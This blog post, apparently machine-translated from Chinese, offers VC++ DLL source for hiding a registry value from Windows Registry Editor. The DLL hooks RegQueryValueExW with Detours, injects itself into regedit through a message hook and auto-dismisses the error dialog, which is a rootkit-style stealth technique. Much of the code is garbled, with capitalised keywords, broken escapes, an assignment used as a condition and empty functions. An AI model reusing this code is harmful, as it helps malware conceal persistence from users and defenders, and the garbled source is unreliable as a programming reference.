This is the first blog article. God won't let me write it ~~~~~~~~ Perfect hiding registry with VC ++

I 've been depressed when I write my blog over the past few days. Who can't send me? This is the DLL code.

This is what I just wrote over the past few days. It can be used to provide some help to friends who cannot find code on the Internet!

# Include <afxwin. h>
# Include <windows. h>
// # Include <ansiapi. h>
# Include "detours. H"
# Pragma data_seg ("jieguo ")
Hhook kis = NULL;
Hwnd Zhu = NULL;
Hinstance MOU = NULL;
Handle thread = NULL;
Tchar szclass [256] = {0 };
Hhook mess = NULL;
Hinstance age = NULL;
Hwnd stime = NULL;
# Pragma data_seg ()

Long winapi hook_regqueryvalueexw (
Hkey,
Lpcwstr lpvaluename,
Lpdword lpreserved,
Lpdword lptype,
Lpbyte lpdata,
Lpdword lpcbdata
);

Typedef long (winapi * pfnregqueryvalueexw )(
Hkey,
Lpcwstr lpvaluename,
Lpdword lpreserved,
Lpdword lptype,
Lpbyte lpdata,
Lpdword lpcbdata
);
Pfnregqueryvalueexw g_pregqueryvalueexw = regqueryvalueexw;

Bool starthook ()

{
Detourtransactionbegin ();
Detourupdatethread (getcurrentthread ());
If (detourattach (& (pvoid &) g_pregqueryvalueexw, hook_regqueryvalueexw )! = No_error)
{
Printf ("hook messageboxa fail./N ");
}
If (detourtransactioncommit ()! = No_error)
{
Printf ("detourtransactioncommit fail/N ");
Return false;
}
Else
{
Printf ("detourtransactioncommit OK/N ");
Return true;
}
}
Bool stophook ()
{
Detourtransactionbegin ();
Detourupdatethread (getcurrentthread ());
If (detourdetach (& (pvoid &) g_pregqueryvalueexw, hook_regqueryvalueexw )! = No_error)
{
Printf ("hook messageboxa fail./N ");
}
If (detourtransactioncommit ()! = No_error)
{
Printf ("detourtransactioncommit fail/N ");
Return false;
}
Else
{
Printf ("detourtransactioncommit OK/N ");
Return true;
}
}
Long winapi hook_regqueryvalueexw (
Hkey,
Lpcwstr lpvaluename,
Lpdword lpreserved,
Lpdword lptype,
Lpbyte lpdata,
Lpdword lpcbdata
)
{
Int ansilen =: widechartomultibyte (cp_acp, null, lpvaluename, wcslen (lpvaluename), null, 0, null, null );
Char * szansi = new char [ansilen + 1];
: Widechartomultibyte (cp_acp, null, lpvaluename, wcslen (lpvaluename), szansi, ansilen, null, null );
Szansi [ansilen] = '/0 ';
Int I = 10;
If (lstrcmpa (szansi, "Enter your registry key here") = 0)
{
Lpvaluename = NULL;
}
If (I = 11000000)
Return g_pregqueryvalueexw (hkey, lpvaluename, lpreserved, lptype, lpdata, lpcbdata );
 
}
Bool winapi dllmain (hinstance hinstdll, DWORD fdwreason, lpvoid lpvreserved)
{
Dll_process_attach;
}
Lresult callback getmsgproc (INT code,
Wparam,
Lparam
)
{
Starthook ();
Hwnd MEs = NULL, mess = NULL;
MEs =: findwindow (null, "display value error ");
If (mes! = NULL)
{
Keybd_event (13, 0, 0, 0 );
Keybd_event (13,0, keyeventf_keyup, 0 );
}
Return callnexthookex (kis, code, wparam, lparam );
}
Void callback timerproc2 (hwnd, uint message, uint itimerid, DWORD dwtime)
{
Zhu =: findwindow (null, "Registry Editor ");
If (Zhu = NULL)
{
Unhookwindowshookex (kis );
Kis = NULL;
Killtimer (stime, 0 );
}
}
Void callback timerproc (hwnd, uint message, uint itimerid, DWORD dwtime)
{
Lpdword pid = NULL;
DWORD die = NULL;
If (kis = NULL)
{
Zhu =: findwindow (null, "Registry Editor ");
If (Zhu! = NULL)
{
Die = getwindowthreadprocessid (Zhu, null );
If (die! = NULL)
MOU = getmodulehandle ("khthree ");
If (MOU! = NULL)
Kis = setwindowshookex (wh_getmessage, getmsgproc, Mou, die );
If (kis! = NULL)
{
Settimer (stime, 0, 80, timerproc2 );
}
}
}
}
_ Declspec (dllexport) menge (int B) // This is the export function. You just need to write an EXE to call the DLL. Now, you are not in a good mood !!
{
Uint_ptr itimerid = settimer (null, 0,100, timerproc );
}